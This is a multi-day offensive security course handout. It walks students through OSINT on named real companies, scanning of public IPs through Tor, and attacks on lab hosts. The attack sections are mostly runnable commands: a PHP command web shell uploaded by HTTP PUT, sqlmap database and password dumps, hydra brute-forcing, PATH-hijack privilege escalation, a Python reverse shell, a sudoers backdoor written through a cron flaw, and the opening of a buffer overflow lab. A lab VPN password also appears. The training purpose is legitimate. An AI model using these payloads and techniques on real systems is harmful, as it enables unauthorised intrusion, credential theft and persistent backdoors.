########################################################

# CyberWar: Advanced Offensive Cyber Operations #

########################################################

################
# Day 1: OSINT #
################
OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the
entire planet but I want you to do some Open Source Intelligence (OSINT) first.

Here is an an OSINT report that I did for a customer of mine a few years ago:
https://s3.amazonaws.com/infosecaddictsfiles/OSINT_Innophos_11242010.doc

Let's see if you can do a better one than me....

Here are a few places to start:

- Wikipedia Page
- Are they Public or Private?
- Does the target have any subsidiaries?
- Who are the key people

- Robtex
- Show system map
- Are they behind a CDN

- Netcraft
- http://toolbar.netcraft.com/site_report
- Are they using a Loadbalancer like F5 BigIP, or Citrix NetScaler

- Passive Recon (Firefox Add-on)

Download it from: https://addons.mozilla.org/en-US/firefox/addon/passiverecon/

Your first task:

----------------
Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment
against any one of the following companies:
NSA
HSBC
Coke
Exxon Mobil
KPMG
Accenture
NewYork-Presbyterian Hospital
Kroger
Dillard's
Royal Caribbean International

Tools that are good for OSINT:

------------------------------
Here are some tools that I think you should consider using for this challenge:
FOCA
Maltego
Search Diggity
ShodanHQ
PassiveRecon
EDGAR
theHarvester
gxfr.py
VisualRoute

********************************** Begin Day 1 Homework Part 1

**********************************
NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS

You must create a MS WORD document titled 'FirstName-LastName-Cyberwar-Day1-OSINT-

Report.docx' (ex: Joseph-McCray-CyberWar-Day1-OSINT-Report.docx).

You must spell you name EXACTLY as you want it spelled on your class certificate.

IMPORTANT NOTE:
Your homework must be submitted via email to both ([email protected]) by Sunday
May 21st at midnight EST.

********************************** End Day 1 Homework Part 1

**********************************

Email Harvesting
----------------

cd ~/toolz/

rm -rf theharvester-read-only/

sudo apt install -y python-pyasn1 python-pyasn1-modules

infosecaddicts

git clone https://github.com/laramies/theHarvester.git

cd theHarvester/

python theHarvester.py

python theHarvester.py -d motorola.com -l 50 -b google

python theHarvester.py -d motorola.com -l 50 -b bing

python theHarvester.py -d motorola.com -l 50 -b linkedin

python theHarvester.py -d motorola.com -l 50 -b pgp

File Meta-Data Harvesting
-------------------------
cd ~/toolz/

sudo apt install -y python-pip

infosecaddicts

sudo pip install google

infosecaddicts

git clone https://github.com/opsdisk/metagoofil.git

cd metagoofil/

python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles

sudo apt install -y libimage-exiftool-perl

exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u

python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles

Whereas:

-d : I used another domain name aside from Google.com to make it work

-t : I asked for the program to search two types of public documents whuch are doc
and pdf files
-l : I limited the search result to 100 to make the process faster
-n : I limited the downloads (files that are going to be downloaded to get their
metadatas extracted) to only 3 to make the process faster
-o : I directed the result of the compilation t motorolafiles, which is a file
located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
-f : Save the html links to html_links_<TIMESTAMP>.txt file

Github Info Harvesting

----------------------
cd ~/toolz/

sudo pip install gitem

infosecaddicts

gitem organization facebook

gitem repository facebook react

gitem --processes 4 user zpao
** This should give you a rate limit error. You need to create an OAuth token
like my example below

gitem -o xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx --processes 4 user zpao

Github Access Token Creation Reference:

https://help.github.com/articles/creating-an-access-token-for-command-line-use/

Network Topology Enumeration (NOTE: This tool may not work anymore due to changes
at BING)
-----------------------------------------------------------------------------------
-------

cd ~/toolz/

wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py

python gxfr.py --bxfr --dns-lookup -o

motorola.com
[ press enter ]
cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=

-----------------------------------------------------------------------------------
-------

cd ~/toolz/

rm -rf fierce2/

git clone https://github.com/mschwager/fierce.git

cd fierce

sudo apt install -y python3-pip

infosecaddicts

sudo pip3 install -r requirements.txt

python3 fierce.py -h

python3 fierce.py --domain motorola.com --subdomains accounts admin ads

Traverse IPs near discovered domains to search for contiguous blocks with the
--traverse flag:

python3 fierce.py --domain facebook.com --subdomains accounts --traverse 10

Limit nearby IP traversal to certain domains with the --search flag:

python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net

Attempt an HTTP connection on domains discovered with the --connect flag:

python3 fierce.py --domain stackoverflow.com --subdomains mail --connect

Recon-NG (Metasploit for Recon):

--------------------------------
cd ~/toolz/

sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes

python-xlsxwriter python-jsonrpclib python-lxml
infosecaddicts

sudo pip install dicttoxml

infosecaddicts

git clone https://[email protected]/LaNMaSteR53/recon-ng.git

cd recon-ng
./recon-ng

At the prompt, let's type help in order to look at the commands we can use in
Recon-ng.

recon-ng > help

Note that many of these commands are nearly identical to Metasploit including back,
set, use, search, show, and unset.

recon-ng > [ TAB ] [ TAB ]

To see all the modules in Recon-ng, we can type:

recon-ng > show [ TAB ] [ TAB ]

Ok, let's drive this thing....

recon-ng > show banner

recon-ng > show companies

recon-ng > show contacts

recon-ng > show credentials

recon-ng > show dashboard

recon-ng > show domains

recon-ng > show hosts

recon-ng > show keys

recon-ng > show leaks

recon-ng > show locations

recon-ng > show modules

recon-ng > show netblocks

recon-ng > show options

recon-ng > show ports

recon-ng > show profiles

recon-ng > show pushpins

recon-ng > show repositories

recon-ng > show schema

recon-ng > show vulnerabilities

recon-ng > show workspaces

When you have found a module that you would like to try the process is fairly
straight forward.

Type, �use [Modulename]� to use the module

Type, �show info� to view information about the module

And then, �show options� to see what variables can be set

Set the option variables with �set [variable]�

Finally, type �run� to execute the module

********************************** Begin Day 1 Homework Part 2

**********************************
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS

You must take screenshots of the process of you registering at least 5 API keys, as
well as screenshots of you using at least 10 Recon-NG modules against a target
company.
You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-
Day1-Recon-NG.docx' (ex: Joseph-McCray-Cyberwar-Day1-Recon-NG.docx).

You must spell you name EXACTLY as you want it spelled on your class certificate.

Reference links:
http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-
part-1-getting-started-0169854/
http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-
modules-rundown/

********************************** End Day 1 Homework Part 2

**********************************

############################
# Day 2: Advanced Scanning #
############################
Today will be heavily focused on scanning. We're going to scan, then scan again,
and then scan some more. When we are doing scanning - we are going to scan some
more....

########################
# Scanning Methodology #
########################

- Ping Sweep
What's alive?
------------
sudo nmap -sP 157.166.226.*
infosecaddicts

-if -SP yields no results try:

sudo nmap -sL 157.166.226.*

infosecaddicts

sudo nmap -sL 157.166.226.* | grep com

infosecaddicts

- Port Scan
What's where?
------------
sudo nmap -sS 162.243.126.247
 infosecaddicts

- Bannergrab/Version Query
What versions of software are running
-------------------------------------
sudo nmap -sV 162.243.126.247
infosecaddicts

- Vulnerability Research
Lookup the banner versions for public exploits
----------------------------------------------
http://exploit-db.com
http://securityfocus.com/bid
https://packetstormsecurity.com/files/tags/exploit/

Example lookup for this scan would be:

https://web.nvd.nist.gov/view/vuln/search-results?
query=nginx&search_type=all&cves=on

NOTE:
Gereon, gave us a nice tip today about using IPTables ConnTrack:
iptables -I INPUT -m state -p icmp --echo-type echo-reply -j ACCEPT --state RELATED

His point was that if you only accept echo-reply by related/state related all of
the bogus answers will be dropped as the TTL decrement will be out of whack.

You can see this point with another tool. I'll get you the syntax later today.

#######################################################
# Day 2: 3rd Party Scanning, and scanning via proxies #
#######################################################

https://www.shodan.io/

Create a FREE account and login

net:129.188.8.0/24

Scanning via Tor/proxychains

----------------------------
sudo apt install -y tor proxychains ntpdate

sudo vi /etc/proxychains.conf <--- Make sure that last line of

the file is: Socks4 127.0.0.1 9050

sudo ntpdate pool.ntp.org

 infosecaddicts

tor-resolve room362.com

proxychains nmap -sT -p80 162.243.126.247

proxychains nmap -sT -PN -n -sV -p

21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247

------------------------------------------------------
cd ~/toolz
git clone https://github.com/sensepost/glypeahead.git
cd glypeahead/
vi config.php

****make the following change****

'proxies' => array(
'https://branon.co.uk/glype/desktop-free/index.php', <---
line 40
'http://ricardoalcala.com/index.php',
)

php glypeahead config.php

#########################
# Playing with Nmap NSE #
#########################

nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com

nmap -p80 --script dns-brute infosecaddicts.com

nmap --script http-robtex-reverse-ip secore.info

nmap -Pn -p80 --script=http-headers infosecaddicts.com

ls /usr/share/nmap/scripts | grep http

nmap -Pn -p80 --script=http-* infosecaddicts.com
###################################
# Day 2: Scanning the lab network #
###################################

-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
---------------------------
Let's have you connect to the VPN. I wanted to make sure that I did some of the
stuff on my local virtual machines because I want you to do the hunting for
vulnerable hosts to attack.
If I attack the live targets in the lab then I'll end up giving away a lot of the
little secrets that I want you to discover.

vpn username: {first_initial.last_name} example: j.mccray

vpn password: vpnVPN1234!@#$

sudo nmap -sP 10.0.0.0/24

infosecaddicts

sudo nmap -sL 10.0.0.0/24

infosecaddicts

cd ~/toolz

wget --no-check-certificate
https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c

gcc ipcrawl.c -o ipcrawl

chmod 777 ipcrawl

./ipcrawl 10.0.0.1 10.0.0.254

wget --no-check-certificate
https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c

gcc propecia.c -o propecia

sudo cp propecia /bin

infosecaddicts

propecia 10.0.0 22

propecia 10.0.0 3389

nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open

nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 "

" $3}'
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
| wc -l

nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'

nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'

> ~/labnet-ip-list.txt

cat ~/labnet-ip-list.txt

#################################################
# Screenshotting the Web Servers in the Network #
#################################################
cd ~/toolz/
mkdir labscreenshots
cd labscreenshots/

wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-
generic-amd64.tar.xz
tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
cd wkhtmltox/bin/
sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386

cd ~/toolz/
git clone git://github.com/SpiderLabs/Nmap-Tools.git
cd Nmap-Tools/NSE/

sudo cp http-screenshot.nse /usr/share/nmap/scripts/

infosecaddicts

sudo nmap --script-updatedb

infosecaddicts

cd ~/toolz/labscreenshots/
sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL
/home/infosecaddicts/labnet-ip-list.txt
infosecaddicts

vi screenshots.sh

#!/bin/bash
printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\"
width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
printf "</BODY></HTML>" >> labnet-port-80-screenshots.html

sh screenshots.sh
python -m SimpleHTTPServer

--- Now browse to the IP of your Linux machine on port 8000

(http://192.168.200.157:8000/labnet-port-80-screenshots.html):
http://Ubuntu-VM-IP:8000/labnet-port-80-screenshots.html

##########################
# Nmap NSE tricks to try #
##########################
sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-
backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
infosecaddicts

sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24

infosecaddicts

sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-

enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-
discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
infosecaddicts

sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo

10.0.0.0/24
infosecaddicts

sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-

groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-
mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-
enabled,stuxnet-detect 10.0.0.0/24
infosecaddicts

sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-

password,ms-sql-info 10.0.0.0/24
infosecaddicts

sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users

--script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
infosecaddicts

sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-

info,mysql-users,mysql-variables 10.0.0.0/24
infosecaddicts

sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption

10.0.0.0/24
infosecaddicts

sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24

infosecaddicts

sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24

infosecaddicts

sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24

infosecaddicts
sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe --script
"auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln
and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 10.0.0.0/24
infosecaddicts

#####################################
# Writing Your Own Nmap NSE Scripts #
#####################################

----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse

-- The Head Section --

-- The Rule Section --
portrule = function(host, port)
return port.protocol == "tcp"
and port.number == 80
and port.state == "open"
end

-- The Action Section --

action = function(host, port)
return "CyberWar!"
end
----------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p
22,80,443

----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse

-- The Head Section --

local shortport = require "shortport"

-- The Rule Section --

portrule = shortport.http

-- The Action Section --

action = function(host, port)
return "CyberWar!"
end
----------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p
22,80,443
OK, now let's have some fun with my buddy Carlos Perez's website which you should
have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last
year.

----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse

-- The Head Section --

local shortport = require "shortport"
local http = require "http"

-- The Rule Section --

portrule = shortport.http

-- The Action Section --

action = function(host, port)

local uri = "/installing-metasploit-in-ubunt/"

local response = http.get(host, port, uri)
return response.status

end
----------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443

----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse

-- The Head Section --

local shortport = require "shortport"
local http = require "http"

-- The Rule Section --

portrule = shortport.http

-- The Action Section --

action = function(host, port)

local uri = "/installing-metasploit-in-ubunt/"

local response = http.get(host, port, uri)

if ( response.status == 200 ) then

return response.body
end

end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443

----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse

-- The Head Section --

local shortport = require "shortport"
local http = require "http"
local string = require "string"

-- The Rule Section --

portrule = shortport.http

-- The Action Section --

action = function(host, port)

local uri = "/installing-metasploit-in-ubunt/"

local response = http.get(host, port, uri)

if ( response.status == 200 ) then

local title = string.match(response.body, "Installing Metasploit in Ubuntu
and Debian")
return title
end

end
----------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443

----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse

-- The Head Section --

local shortport = require "shortport"
local http = require "http"
local string = require "string"

-- The Rule Section --

portrule = shortport.http
-- The Action Section --
action = function(host, port)

local uri = "/installing-metasploit-in-ubunt/"

local response = http.get(host, port, uri)

if ( response.status == 200 ) then

local title = string.match(response.body, "Installing Metasploit in Ubuntu
and Debian")

if (title) then
return "Vulnerable"
else
return "Not Vulnerable"
end
end
end

----------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443

********************************** Begin Day 2 Homework Part 1

**********************************
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS

You must take screenshots of you performing all of the scanning tasks that we have
done so far today

You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-

Day2-Adv-Scanning.docx' (ex: Joseph-McCray-CyberWar-Day2-Adv-Scanning.docx).

You must spell you name EXACTLY as you want it spelled on your class certificate.

********************************** End Day 2 Homework Part 1

**********************************

##########
# Day 3: #
##########

The goal for today is for the class to attack 10.0.0.14 together and see what they
can learn.
#######################
# Attacking 10.0.0.14 #
#######################

Step 1: Nmap Scan

sudo nmap -sV -Pn 10.0.0.14

Step 2: Nikto Scan

cd ~/toolz
rm -rf nikto/
sudo apt install -y nikto
nikto -h 10.0.0.14

Step 3: Directory Bruteforce

https://sourceforge.net/projects/dirbuster/

Step 4: Enumerate Server options (confirm nikto results)

curl -vX OPTIONS 10.0.0.14/test

mkdir webshellz
cd webshellz/
vi cmd.php

---------------------------------------------
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?
if($_GET['cmd']) {
system($_GET['cmd']);
}
?>
</pre>
</BODY></HTML>
---------------------------------------------

curl -vX PUT -d "$(cat cmd.php)" 10.0.0.14/test/cmd.php

Now use your web browser to browse to page:

http://10.0.0.14/test/cmd.php

Enter the following commands:

/sbin/ifconfig
pwd
id
uname -a
cat /etc/passwd

Figure out how to root this box!!!!!!!!!!!!!!!!

######################
# Attacking 10.0.0.5 #
######################

Step 1: Nmap Scan

sudo nmap -sV -Pn 10.0.0.5

Step 2: Nikto Scan

cd ~/toolz

perl nikto.pl -h 10.0.0.5

cd /home/infosecaddicts/toolz/sqlmap-dev

python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx

--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 -s
./scan_report_pgsql.txt -t ./scan_trace_pgsql.txt --skip-urlencode

Security Issue 1: Directory Browsing

------------------------------------
http://10.0.0.5/bin/

Browse to this URL in your web browser.

You may want to go for a hail mary and decompile the DLL files with something like
JetPack: https://www.jetbrains.com/decompiler/ but don't get your hopes up.

Attacking 10.0.0.5 with SQLMap

------------------------------
cd /home/infosecaddicts/toolz/sqlmap-dev
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx
--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-
urlencode

cd /home/infosecaddicts/.sqlmap/output/10.0.0.5
ls

cd ~/toolz/sqlmap-dev/
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx
--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-
urlencode --dbs
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx
--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-
urlencode --dbs --current-user

python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx

--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-
urlencode --dbs --current-user --passwords

python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx

--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-
urlencode --dbs --current-user --current-db --tables

python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx

--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-
urlencode --dbs --current-user --current-db --tables --dump

################################
# Attacking Big Data Solutions #
################################

propecia 10.0.0 27017

sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24

infosecaddicts

Big Data is quite the buzzword in our industry and MongoDB is one of the more
popular Big Data solutions on the market.
There are others like CouchDB, and Cassandra, but for right now let's play with
MongoDB.

One of the huge red flags with MongoDB is that its default configuration it has no
user authentication, and no permissions.

sudo apt install -y git python-setuptools

cd ~/toolz

mkdir arsenal

cd arsenal

git clone https://github.com/tcstool/nosqlmap.git

cd nosqlmap

sudo python setup.py install

infosecaddicts

python nosqlmap.py
1
1 (set options)
10.0.0.8 (set target IP)

7 <your IP> (set attacker host ip)

x (back to main menu)

2 (DB access attack option)

1 (Get server info)

2 (Enumerate Databases/Collections/Users)

3 (Check for GridFS)

GridFS is a specification for storing and retrieving
files that exceed the BSON-document size limit of 16MB. Instead of storing a file
in a single document, GridFS divides a file into parts, or chunks [1], and stores
each chunk as a separate document

Other attack options such as clone a database will require you to have a local copy
of MongoDB installed, and the Metasploit attack is for too old of a version ( <
2.2.4 ).

********************************** Begin Day 3 Homework Part 1

**********************************
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS

You must take screenshots of you performing all of the scanning tasks that we have
done so far today

You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-

Day3.docx' (ex: Joseph-McCray-CyberWar-Day3.docx).

You must spell you name EXACTLY as you want it spelled on your class certificate.

********************************** End Day 3 Homework Part 1

**********************************

##########
# Day 4: #
##########
######################
# Attacking 10.0.0.7 #
######################

Step 1: Nmap Scan

sudo nmap -Pn -sV -T 5 10.0.0.7

Step 2: Open a browswer

Point your browser to http://10.0.0.7/

Step 3: Download the picture in the website:

wget http://10.0.0.7/main.gif
exiftool main.gif

Step 4: What's the password

Point your browser to http://10.0.0.7/kzMb5nVYJw/ and then view source.

From there you'll see that it tells you that the password is a simple one.

cd ~/toolz/
echo dbo >> list.txt
echo sa >> list.txt
echo admin >> list.txt
echo root >> list.txt
echo password >> list.txt
echo pass >> list.txt
echo hello >> list.txt
echo goodbye >> list.txt
echo test >> list.txt
echo admin >> list.txt
echo elite >> list.txt
echo db >> list.txt
echo god >> list.txt
echo 123 >> list.txt
echo letmein >> list.txt
echo omega >> list.txt

hydra -l none -P list.txt 10.0.0.7 http-post-form

"/kzMb5nVYJw/index.php:key=^PASS^:invalid key"

cd ~/toolz/sqlmap-dev/

python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a --dbs

python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql

--tables

python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql

-T user --columns

python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql

-T user -C User,Password --dump

python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D

phpmyadmin --tables

python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth

python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth

-T users --columns

python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth

-T users -C id,user,pass --dump

cat /home/infosecaddicts/.sqlmap/output/10.0.0.7/dump/seth/users.csv

cd toolz/

We can look this password hash up on Crackstation.net https://crackstation.net/ -

ok that didn't work. Maybe it's in Base64. Let's try to decode it.

Decoding the base64 value gives us the actual hash. (Note I add a �=� to the string
so that base64 can properly decode it)

echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 -d

echo "c6d6bd7ebf806f43c76acc3681703b81" > hash.txt

We can look up this password hash "c6d6bd7ebf806f43c76acc3681703b81" on

Crackstation.net https://crackstation.net/

Ok - that worked. The password is "omega", but if you want to do it with hashcat we
can do the following steps:

sudo apt install -y nvidia-opencl-icd-340 libxnvctrl-dev nvidia-opencl-dev libgmp3-

dev libgmp10-doc opencl-headers

wget http://registrationcenter-
download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz

tar -zxvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz

sudo ./opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25/install.sh

hashcat --benchmark

hashcat -m 0 -a 0 hash.txt ~/toolz/list.txt

Ok, now let's log into the machine.

ssh 10.0.0.7 -p 777 -lramses

cat /etc/issue

find / -user root -perm -4000 -print 2>/dev/null | grep -v bin | grep -v usr

cd /var/www/backup/

ls -l procwatch

Figure out how to root this box!!!!!!!!!!!!!!!!

whoami
ln -s /bin/ls ps
export PATH=`pwd`:${PATH}
./procwatch
ln -snf /bin/sh ps
./procwatch
whoami
cat /root/proof.txt

.......hahahahah rooted and polluted!!!!!!!!!

So now let's go attack .14 with this box.

nc -l -v -p 443

...from the webshell on 10.0.0.14 (http://10.0.0.14/test/cmd.php)

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
"10.0.0.7",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

This will give you a user level shell on 10.0.0.14

dpkg -l chkrootkit
ls -al /etc/sudoers
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers
&& chmod 440 /etc/sudoers' > /tmp/update

....wait for it.....wait for it (a few hours possibly since it is cron.daily...)

sudo su

....now you are root

####################################
# Finally, let's exploit something #
####################################

#####################################
# Quick Stack Based Buffer Overflow #
#####################################

- You can download everything you need for this exercise (except netcat) from the
link below

- Extract this zip file to your Desktop

- Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run

vulnserv.exe

- Open a new command prompt and type:

nc localhost 9999

- In the new command prompt window where you ran nc type:

HELP

- Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++

- Now double-click on 1-simplefuzzer.py

- You'll notice that vulnserv.exe crashes. Be sure to note what command and the
number of As it crashed on.

- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command
and the number of As it crashed on.

- Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start

OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe

- Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and

double-click on 1-simplefuzzer.py.

- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with
As (41s).

- Now isolate the crash by restarting your debugger and running script 2-
3000chars.py

- Calculate the distance to EIP by running script 3-3000chars.py

- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with
the value: 396F4338

4-count-chars-to-EIP.py
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C
(43), o (6F), 9 (39)
- so we search for 8Co9 in the string of nonrepeating chars and count the distance
to it

5-2006char-eip-check.py
- In this script we check to see if our math is correct in our calculation of the
